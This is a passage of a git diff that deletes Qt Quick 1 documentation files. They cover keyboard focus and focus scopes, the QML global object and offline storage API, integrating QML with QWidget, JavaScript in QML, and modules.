Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\target qmlfocus -\page qdeclarativefocus.html -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Text Handling and Validators}{Text Handling and Validators} -\nextpage {QML Signal and Handler Event System}{Signal and Handler Event System} - -\title Keyboard Focus in Qt Quick 1 - -When a key is pressed or released, a key event is generated and delivered to the -focused QML \l Item. To facilitate the construction of reusable components -and to address some of the cases unique to fluid user interfaces, the QML items add aged -\e scope based extension to Qt's traditional keyboard focus model. - -\tableofcontents - -\section1 Key Handling Overview - -When the user presses or releases a key, the following occurs: -\list 1 -\li Qt receives the key action and generates a key event. -\li If the Qt widget containing the \l QDeclarativeView has focus, the key event -is delivered to it. Otherwise, regular Qt key handling continues. -\li The key event is delivered by the scene to the QML \l Item with -\e {active focus}. If no Item has active focus, the key event is -\l {QEvent::ignore()}{ignored} and regular Qt key handling continues. -\li If the QML Item with active focus accepts the key event, propagation -stops. Otherwise the event is "bubbled up", by recursively passing it to each -Item's parent until either the event is accepted, or the root Item is reached. - -If the \c {Rectangle} element in the following example has active focus and the \c A key is pressed, -it will bubble up to its parent. However, pressing the \c B key will bubble up to the root -item and thus subsequently be ignored. - -\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event -\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event end - -\li If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues. - -\endlist - -See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}. - -\section1 Querying the Active Focus Item - -Whether or not an \l Item has active focus can be queried through the -property \c {Item::activeFocus} property. For example, here we have a \l Text -element whose text is determined by whether or not it has active focus. - -\snippet doc/src/snippets/declarative/focus/rectangle.qml active focus - -\section1 Acquiring Focus and Focus Scopes - -An \l Item requests focus by setting the \c focus property to \c true. - -For very simple cases simply setting the \c focus property is sometimes -sufficient. If we run the following example with the \l {QML Viewer}, we see that -the \c {keyHandler} element has active focus and pressing the \c A, \c B, -or \c C keys modifies the text appropriately. - -\snippet doc/src/snippets/declarative/focus/basicwidget.qml focus true - -\image declarative-qmlfocus1.png - -However, were the above example to be used as a reusable or imported component, -this simple use of the \c focus property is no longer sufficient. - -To demonstrate, we create two instances of our previously defined component and -set the first one to have focus. The intention is that when the \c A, \c B, or -\c C keys are pressed, the first of the two components receives the event and -responds accordingly. - -The code that imports and creates two MyWidget instances: -\snippet doc/src/snippets/declarative/focus/widget.qml window - -The MyWidget code: -\snippet doc/src/snippets/declarative/focus/mywidget.qml mywidget - -We would like to have the first MyWidget object to have the focus by setting its -\c focus property to \c true. However, by running the code, we can confirm that -the second widget receives the focus. - -\image declarative-qmlfocus2.png - -Looking at both \c MyWidget and \c window code, the problem is evident - there -are three elements that set the \c focus property set to \c true. The two -MyWidget sets the \c focus to \c true and the \c window component also sets the -focus. Ultimately, only one element can have keyboard focus, and the system has -to decide which element receives the focus. When the second MyWidget is created, -it receives the focus because it is the last element to set its \c focus -property to \c true. - -This problem is due to visibility. The \c MyWidget component would like to have -the focus, but it cannot control the focus when it is imported or reused. -Likewise, the \c window component does not have the ability to know if its -imported components are requesting the focus. - -To solve this problem, the QML introduces a concept known as a \e {focus scope}. -For existing Qt users, a focus scope is like an automatic focus proxy. -A focus scope is created by declaring the \l FocusScope element. - -In the next example, a \l FocusScope element is added to the component, and the -visual result shown. - -\snippet doc/src/snippets/declarative/focus/myfocusscopewidget.qml widget in focusscope - -\image declarative-qmlfocus3.png - - -Conceptually \e {focus scopes} are quite simple. -\list -\li Within each focus scope one element may have \c {Item::focus} set to -\c true. If more than one \l Item has the \c focus property set, the -last element to set the \c focus will have the focus and the others are unset, -similar to when there are no focus scopes. -\li When a focus scope receives active focus, the contained element with -\c focus set (if any) also gets the active focus. If this element is -also a \l FocusScope, the proxying behavior continues. Both the -focus scope and the sub-focused item will have \c activeFocus property set. -\endlist - -Note that, since the FocusScope element is not a visual element, the properties -of its children need to be exposed to the parent item of the FocusScope. Layouts -and positioning elements will use these visual and styling properties to create -the layout. In our example, the \c Column element cannot display the two widgets -properly because the FocusScope lacks visual properties of its own. The MyWidget -component directly binds to the \c rectangle properties to allow the \c Column -element to create the layout containing the children of the FocusScope. - -So far, the example has the second component statically selected. It is trivial -now to extend this component to make it clickable, and add it to the original -application. We still set one of the widgets as focused by default. -Now, clicking either MyClickableWidget gives it focus and the other widget -loses the focus. - -The code that imports and creates two MyClickableWidget instances: -\snippet doc/src/snippets/declarative/focus/clickablewidget.qml clickable window - -The MyClickableWidget code: -\snippet doc/src/snippets/declarative/focus/myclickablewidget.qml clickable in focusscope - -\image declarative-qmlfocus4.png - -When a QML \l Item explicitly relinquishes focus (by setting its -\c focus property to \c false while it has active focus), the -system does not automatically select another element to receive focus. That is, -it is possible for there to be no currently active focus. - -See the \l{declarative/keyinteraction/focus}{Keyboard Focus example} for a -demonstration of moving keyboard focus between multiple areas using FocusScope -elements. - -\section1 Advanced uses of Focus Scopes - -Focus scopes allow focus to allocation to be easily partitioned. Several -QML items use it to this effect. - -\l ListView, for example, is itself a focus scope. Generally this isn't -noticeable as \l ListView doesn't usually have manually added visual children. -By being a focus scope, \l ListView can focus the current list item without -worrying about how that will effect the rest of the application. This allows the -current item delegate to react to key presses. - -This contrived example shows how this works. Pressing the \c Return key will -print the name of the current list item. - -\snippet doc/src/snippets/declarative/focus/advancedFocus.qml FocusScope delegate - -\image declarative-qmlfocus5.png - -While the example is simple, there are a lot going on behind the scenes. Whenever -the current item changes, the \l ListView sets the delegate's \c {Item::focus} -property. As the \l ListView is a focus scope, this doesn't affect the -rest of the application. However, if the \l ListView itself has -active focus this causes the delegate itself to receive active focus. -In this example, the root element of the delegate is also a focus scope, -which in turn gives active focus to the \c {Text} element that actually performs -the work of handling the \c {Return} key. - -All of the QML view classes, such as \l PathView and \l GridView, behave -in a similar manner to allow key handling in their respective delegates. -*/ diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc deleted file mode 100644 index e23d6a56..00000000 --- a/doc/src/declarative/globalobject.qdoc +++ /dev/null @@ -1,207 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeglobalobject.html -\title QML Global Object - -Contains all the properties of the JavaScript global object, plus: - -\tableofcontents - -\section1 Qt Object - -The \l{QmlGlobalQtObject}{Qt object} provides useful enums and functions from Qt, for use in all QML -files. - -\section1 XMLHttpRequest - -\target XMLHttpRequest - -QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain -data from over a network. - -The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} -as many popular web browsers with following exceptions: -\list -\li QML's XMLHttpRequest does not enforce the same origin policy. -\li QML's XMLHttpRequest does not support \e synchronous requests. -\endlist - -Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset -of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web -browser. The following objects and properties are supported by the QML implementation: - -\table -\header -\li \b {Node} -\li \b {Document} -\li \b {Element} -\li \b {Attr} -\li \b {CharacterData} -\li \b {Text} - -\row -\li -\list -\li nodeName -\li nodeValue -\li nodeType -\li parentNode -\li childNodes -\li firstChild -\li lastChild -\li previousSibling -\li nextSibling -\li attributes -\endlist - -\li -\list -\li xmlVersion -\li xmlEncoding -\li xmlStandalone -\li documentElement -\endlist - -\li -\list -\li tagName -\endlist - -\li -\list -\li name -\li value -\li ownerElement -\endlist - -\li -\list -\li data -\li length -\endlist - -\li -\list -\li isElementContentWhitespace -\li wholeText -\endlist - -\endtable - -The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to -use the XMLHttpRequest object to make a request and read the response headers. - -\section1 Offline Storage API - -\section2 Database API - -The \c openDatabaseSync() and related functions -provide the ability to access local offline storage in an SQL database. - -These databases are user-specific and QML-specific, but accessible to all QML applications. -They are stored in the \c Databases subdirectory -of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases. - -The API can be used from JavaScript functions in your QML: - -\snippet declarative/sqllocalstorage/hello.qml 0 - -The API conforms to the Synchronous API of the HTML5 Web Database API, -\link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink. - -The \l{declarative/sqllocalstorage}{SQL Local Storage example} demonstrates the basics of -using the Offline Storage API. - -\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db)) - -Returns the database identified by \e identifier. If the database does not already exist, it -is created, and the function \e callback is called with the database as a parameter. \e description -and \e estimated_size are written to the INI file (described below), but are otherwise currently -unused. - -May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR. - -When a database is first created, an INI file is also created specifying its characteristics: - -\table -\header \li \b {Key} \li \b {Value} -\row \li Name \li The name of the database passed to \c openDatabase() -\row \li Version \li The version of the database passed to \c openDatabase() -\row \li Description \li The description of the database passed to \c openDatabase() -\row \li EstimatedSize \li The estimated size (in bytes) of the database passed to \c openDatabase() -\row \li Driver \li Currently "QSQLITE" -\endtable - -This data can be used by application tools. - -\section3 db.changeVersion(from, to, callback(tx)) - -This method allows you to perform a \e{Scheme Upgrade}. - -If the current version of \e db is not \e from, then an exception is thrown. - -Otherwise, a database transaction is created and passed to \e callback. In this function, -you can call \e executeSql on \e tx to upgrade the database. - -May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR. - -\section3 db.transaction(callback(tx)) - -This method creates a read/write transaction and passed to \e callback. In this function, -you can call \e executeSql on \e tx to read and modify the database. - -If the callback throws exceptions, the transaction is rolled back. - -\section3 db.readTransaction(callback(tx)) - -This method creates a read-only transaction and passed to \e callback. In this function, -you can call \e executeSql on \e tx to read the database (with SELECT statements). - -\section3 results = tx.executeSql(statement, values) - -This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?"). - -It returns a results object, with the following properties: - -\table -\header \li \b {Type} \li \b {Property} \li \b {Value} \li \b {Applicability} -\row \li int \li rows.length \li The number of rows in the result \li SELECT -\row \li var \li rows.item(i) \li Function that returns row \e i of the result \li SELECT -\row \li int \li rowsAffected \li The number of rows affected by a modification \li UPDATE, DELETE -\row \li string \li insertId \li The id of the row inserted \li INSERT -\endtable - -May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR. - -\section1 Logging - -\c console.log() and \c console.debug() can be used to print information -to the console. See \l{Debugging QML} for more information. - -*/ diff --git a/doc/src/declarative/integrating.qdoc b/doc/src/declarative/integrating.qdoc deleted file mode 100644 index 3d3373b7..00000000 --- a/doc/src/declarative/integrating.qdoc +++ /dev/null @@ -1,111 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-integration.html -\ingroup qml-features -\previouspage {Using QML Bindings in C++ Applications} -\nextpage {Dynamic Object Management in QML}{Dynamic Object Management} -\contentspage QML Features -\title Integrating QML Code with Existing Qt UI Code - -There are a number of ways to integrate QML into QWidget-based UI applications, -depending on the characteristics of your existing UI code. - - -\section1 Integrating with a \l{QWidget}-based UI - -If you have an existing QWidget-based UI, QML widgets can be integrated into -it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you -can add it to your user interface like any other QWidget. Use -QDeclarativeView::setSource() to load a QML file into the view, then add the -view to your UI: - -\code -QDeclarativeView *qmlView = new QDeclarativeView; -qmlView->setSource(QUrl::fromLocalFile("myqml.qml")); - -QWidget *widget = myExistingWidget(); -QVBoxLayout *layout = new QVBoxLayout(widget); -layout->addWidget(qmlView); -\endcode - -The one drawback to this approach is that QDeclarativeView is slower to initialize -and uses more memory than a QWidget, and creating large numbers of QDeclarativeView -objects may lead to performance degradation. If this is the case, it may be -better to rewrite your widgets in QML, and load the widgets from a main QML widget -instead of using QDeclarativeView. - -Keep in mind that QWidgets were designed for a different type of user interface -than QML, so it is not always a good idea to port a QWidget-based application to -QML. QWidgets are a better choice if your UI is comprised of a small number of -complex and static elements, and QML is a better choice if your UI is comprised of a large number -of simple and dynamic elements. - - -\section1 Integrating with a QGraphicsView-based UI - -\section2 Adding QML widgets to a QGraphicsScene - -If you have an existing UI based on the \l{Graphics View Framework}, -you can integrate QML widgets directly into your QGraphicsScene. Use -QDeclarativeComponent to create a QGraphicsObject from a QML file, and -place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or -reparent it to an item already in the \l{QGraphicsScene}. - -For example: - -\code -QGraphicsScene* scene = myExistingGraphicsScene(); -QDeclarativeEngine *engine = new QDeclarativeEngine; -QDeclarativeComponent component(engine, QUrl::fromLocalFile("myqml.qml")); -QGraphicsObject *object = - qobject_cast<QGraphicsObject *>(component.create()); -scene->addItem(object); -\endcode - -The following QGraphicsView options are recommended for optimal performance -of QML UIs: - -\list -\li QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) -\li QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) -\li QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) -\endlist - -\section2 Loading QGraphicsWidget objects in QML - -An alternative approach is to expose your existing QGraphicsWidget objects to -QML and construct your scene in QML instead. See the \l {declarative-cppextensions-qgraphicslayouts.html}{graphics layouts example} -which shows how to expose Qt's graphics layout classes to QML in order -to use QGraphicsWidget with classes like QGraphicsLinearLayout and QGraphicsGridLayout. - -To expose your existing QGraphicsWidget classes to QML, use \l {qmlRegisterType()}. -See \l{Extending QML Functionalities using C++} for further information on -how to use C++ types in QML. - -*/ diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc deleted file mode 100644 index d4ae021a..00000000 --- a/doc/src/declarative/javascriptblocks.qdoc +++ /dev/null @@ -1,324 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativejavascript.html -\title Integrating JavaScript - -QML encourages building UIs declaratively, using \l {Property Binding} and the -composition of existing \l {QML Elements}. To allow the implementation of more -advanced behavior, QML integrates tightly with imperative JavaScript code. - -The JavaScript environment provided by QML is stricter than that in a web browser. -In QML you cannot add, or modify, members of the JavaScript global object. It -is possible to do this accidentally by using a variable without declaring it. In -QML this will throw an exception, so all local variables should be explicitly -declared. - -In addition to the standard JavaScript properties, the \l {QML Global Object} -includes a number of helper methods that simplify building UIs and interacting -with the QML environment. - -\section1 Inline JavaScript - -Small JavaScript functions can be written inline with other QML declarations. -These inline functions are added as methods to the QML element that contains -them. - -\code -Item { - function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } - - MouseArea { - anchors.fill: parent - onClicked: console.log(factorial(10)) - } -} -\endcode - -As methods, inline functions on the root element in a QML component can be -invoked by callers outside the component. If this is not desired, the method -can be added to a non-root element or, preferably, written in an external -JavaScript file. - -\section1 Separate JavaScript files - -Large blocks of JavaScript should be written in separate files. These files -can be imported into QML files using an \c import statement, in the same way -that \l {Modules}{modules} are imported. - -For example, the \c {factorial()} method in the above example for \l {Inline JavaScript} -could be moved into an external file named \c factorial.js, and accessed like this: - -\code -import "factorial.js" as MathFunctions -Item { - MouseArea { - anchors.fill: parent - onClicked: console.log(MathFunctions.factorial(10)) - } -} -\endcode - -Both relative and absolute JavaScript URLs can be imported. In the case of a -relative URL, the location is resolved relative to the location of the -\l {QML Document} that contains the import. If the script file is not accessible, -an error will occur. If the JavaScript needs to be fetched from a network -resource, the component's \l {QDeclarativeComponent::status()}{status} is set to -"Loading" until the script has been downloaded. - -Imported JavaScript files are always qualified using the "as" keyword. The -qualifier for JavaScript files must be unique, so there is always a one-to-one -mapping between qualifiers and JavaScript files. (This also means qualifiers cannot -be named the same as built-in JavaScript objects such as \c Date and \c Math). - - -\section2 Code-Behind Implementation Files - -Most JavaScript files imported into a QML file are stateful, logic implementations -for the QML file importing them. In these cases, for QML component instances to -behave correctly each instance requires a separate copy of the JavaScript objects -and state. - -The default behavior when importing JavaScript files is to provide a unique, isolated -copy for each QML component instance. The code runs in the same scope as the QML -component instance and consequently can can access and manipulate the objects and -properties declared. - -\section2 Stateless JavaScript libraries - -Some JavaScript files act more like libraries - they provide a set of stateless -helper functions that take input and compute output, but never manipulate QML -component instances directly. - -As it would be wasteful for each QML component instance to have a unique copy of -these libraries, the JavaScript programmer can indicate a particular file is a -stateless library through the use of a pragma, as shown in the following example. - -\code -// factorial.js -.pragma library - -function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); -} -\endcode - -The pragma declaration must appear before any JavaScript code excluding comments. - -As they are shared, stateless library files cannot access QML component instance -objects or properties directly, although QML values can be passed as function -parameters. - - -\section2 Importing One JavaScript File From Another - -If a JavaScript file needs to use functions defined inside another JavaScript file, -the other file can be imported using the \l {QML:Qt::include()}{Qt.include()} -function. This imports all functions from the other file into the current file's -namespace. - -For example, the QML code below left calls \c showCalculations() in \c script.js, -which in turn can call \c factorial() in \c factorial.js, as it has included -\c factorial.js using \l {QML:Qt::include()}{Qt.include()}. - -\table -\row -\li {1,2} \snippet doc/src/snippets/declarative/integrating-javascript/includejs/app.qml 0 -\li \snippet doc/src/snippets/declarative/integrating-javascript/includejs/script.js 0 -\row -\li \snippet doc/src/snippets/declarative/integrating-javascript/includejs/factorial.js 0 -\endtable - -Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from -\c factorial.js into the \c MyScript namespace, which means the QML component can also -access \c factorial() directly as \c MyScript.factorial(). - - -\section1 Running JavaScript at Startup - -It is occasionally necessary to run some imperative code at application (or -component instance) startup. While it is tempting to just include the startup -script as \e {global code} in an external script file, this can have severe limitations -as the QML environment may not have been fully established. For example, some objects -might not have been created or some \l {Property Binding}s may not have been run. -\l {QML JavaScript Restrictions} covers the exact limitations of global script code. - -The QML \l Component element provides an \e attached \c onCompleted property that -can be used to trigger the execution of script code at startup after the -QML environment has been completely established. For example: - -\code -Rectangle { - function startupFunction() { - // ... startup code - } - - Component.onCompleted: startupFunction(); -} -\endcode - -Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one \c onCompleted() -handler to execute at startup, they are run sequentially in an undefined order. - -Likewise, the \l {Component::onDestruction} attached property is triggered on -component destruction. - - -\section1 JavaScript and Property Binding - -Property bindings can be created in JavaScript by assigning the property with a \c function -that returns the required value. - -See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details. - - -\section1 Receiving QML Signals in JavaScript - -To receive a QML signal, use the signal's \c connect() method to connect it to a JavaScript -function. - -For example, the following code connects the MouseArea \c clicked signal to the \c jsFunction() -in \c script.js: - -\table -\row -\li \snippet doc/src/snippets/declarative/integrating-javascript/connectjs.qml 0 -\li \snippet doc/src/snippets/declarative/integrating-javascript/script.js 0 -\endtable - -The \c jsFunction() will now be called whenever MouseArea's \c clicked signal is emitted. - -See \l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - - -\section1 QML JavaScript Restrictions - -QML executes standard JavaScript code, with the following restrictions: - -\list -\li JavaScript code cannot modify the global object. - -In QML, the global object is constant - existing properties cannot be modified or -deleted, and no new properties may be created. - -Most JavaScript programs do not intentionally modify the global object. However, -JavaScript's automatic creation of undeclared variables is an implicit modification -of the global object, and is prohibited in QML. - -Assuming that the \c a variable does not exist in the scope chain, the following code -is illegal in QML. - -\code -// Illegal modification of undeclared variable -a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -It can be trivially modified to this legal code. - -\code -var a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -Any attempt to modify the global object - either implicitly or explicitly - will -cause an exception. If uncaught, this will result in an warning being printed, -that includes the file and line number of the offending code. - -\li Global code is run in a reduced scope - -During startup, if a QML file includes an external JavaScript file with "global" -code, it is executed in a scope that contains only the external file itself and -the global object. That is, it will not have access to the QML objects and -properties it \l {QML Scope}{normally would}. - -Global code that only accesses script local variable is permitted. This is an -example of valid global code. - -\code -var colors = [ "red", "blue", "green", "orange", "purple" ]; -\endcode - -Global code that accesses QML objects will not run correctly. - -\code -// Invalid global code - the "rootObject" variable is undefined -var initialPosition = { rootObject.x, rootObject.y } -\endcode - -This restriction exists as the QML environment is not yet fully established. -To run code after the environment setup has completed, refer to -\l {Running JavaScript at Startup}. - -\li The value of \c this is currently undefined in QML in the majority of contexts - -The \c this keyword is supported when binding properties from JavaScript. -In all other situations, the value of -\c this is undefined in QML. - -To refer to any element, provide an \c id. For example: - -\qml -Item { - width: 200; height: 100 - function mouseAreaClicked(area) { - console.log("Clicked in area at: " + area.x + ", " + area.y); - } - // This will not work because this is undefined - MouseArea { - height: 50; width: 200 - onClicked: mouseAreaClicked(this) - } - // This will pass area2 to the function - MouseArea { - id: area2 - y: 50; height: 50; width: 200 - onClicked: mouseAreaClicked(area2) - } -} -\endqml - -\endlist - -*/ diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc deleted file mode 100644 index 9ef394f8..00000000 --- a/doc/src/declarative/modules.qdoc +++ /dev/null @@ -1,487 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativemodules.html -\title Modules -\section1 QML Modules - - -A module is a set of QML content files that can be imported as a unit into a QML -application. Modules can be used to organize QML content into independent units, -and they can use a versioning mechanism that allows for independent -upgradability of the modules. - -While QML component files within the same directory are automatically accessible -within the global namespace, components defined elsewhere must be imported -explicitly using the \c import statement to import them as modules. For -example, an \c import statement is required to use: - -\list -\li A component defined in another QML file that is not in the same directory -\li A component defined in a QML file located on a remote server -\li A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) -\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) -\endlist - -An \c import statement includes the module name, and possibly a version number. -This can be seen in the snippet commonly found at the top of QML files: - -\snippet doc/src/snippets/declarative/imports/qtquick-1.0.qml import - -This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML -library itself must be imported to use any of the \l {QML Elements}, as they -are not included in the global namespace by default.) - -The \c Qt module is an \e installed module; it is found in the -\l{#import-path}{import path}. There are two types of QML modules: -located modules (defined by a URL) and installed modules (defined by a URI). - - -\section1 Located Modules - -Located modules can reside on the local filesystem or a network resource, -and are referred to by a quoted location URL that specifies the filesystem -or network URL. They allow any directory with QML content to be imported -as a module, whether the directory is on the local filesystem or a remote -server. - -For example, a QML project may have a separate directory for a set of -custom UI components. These components can be accessed by importing the -directory using a relative or absolute path, like this: - -\table -\row -\li Directory structure -\li Contents of application.qml - -\row -\li -\code -MyQMLProject - |- MyComponents - |- CheckBox.qml - |- Slider.qml - |- Window.qml - |- Main - |- application.qml -\endcode - -\li -\qml -import "../MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -\endtable - -Similarly, if the directory resided on a network source, it could -be imported like this: - -\snippet doc/src/snippets/declarative/imports/network-imports.qml imports - -A located module can also be imported as a network resource if it has a -\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files -to be made available by the module. For example, if the \c MyComponents directory -contained a \c qmldir file defined like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -If the \c MyComponents directory was then hosted as a network resource, it could -be imported as a module, like this: - -\qml -import "http://the-server-name.com/MyQMLProject/MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -with an optional "1.0" version specification. Notice the import would fail if -a later version was used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins} -are not available. - - -\target import-path -\section1 Installed Modules - -Installed modules are modules that are made available through the QML import path, -as defined by QDeclarativeEngine::importPathList(), or modules defined within -C++ application code. An installed module is referred to by a URI, which allows -the module to be imported from QML code without specifying a complete filesystem -path or network resource URL. - -When importing an installed module, an un-quoted URI is -used, with a mandatory version number: - -\snippet doc/src/snippets/declarative/imports/installed-module.qml imports - -When a module is imported, the QML engine searches the QML import path for a matching -module. The root directory of the module must contain a -\l{Writing a qmldir file}{qmldir file} that defines the QML files -and/or C++ QML extension plugins that are made available to the module. - -Modules that are installed into the import path translate the URI into -directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule -must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the -QML import path. In addition it is possible to store different versions of the -module in subdirectories of its own. For example, a version 2.1 of the -module could be located under \c com/nokia/qml/mymodule.2/qmldir or -\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load -the module which matches best. - -The import path, as returned by QDeclarativeEngine::importPathList(), defines the default -locations to be searched by the QML engine for a matching module. By default, this list -contains: - -\list -\li The directory of the current file -\li The location specified by QLibraryInfo::ImportsPath -\li Paths specified by the \c QML_IMPORT_PATH environment variable -\endlist - -Additional import paths can be added through QDeclarativeEngine::addImportPath() or the -\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you -can also use the \c -I option to add an import path. - - -\section2 Creating Installed Modules - -As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} -was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents -subdirectory could be made available as an installed module by adding a -\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, -a QML file located anywhere on the local filesystem can then import the module as shown below, -without referring to the module's absolute filesystem location: - -\qml -import projects.MyQMLProject.MyComponents 1.0 - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted -as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above -QML code would work just the same. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QDeclarativeExtensionPlugin}{QML extension plugins} -are not available. - - -\section2 Creating Installed Modules in C++ - -C++ applications can define installed modules directly within the application using qmlRegisterType(). -For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} -defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): - 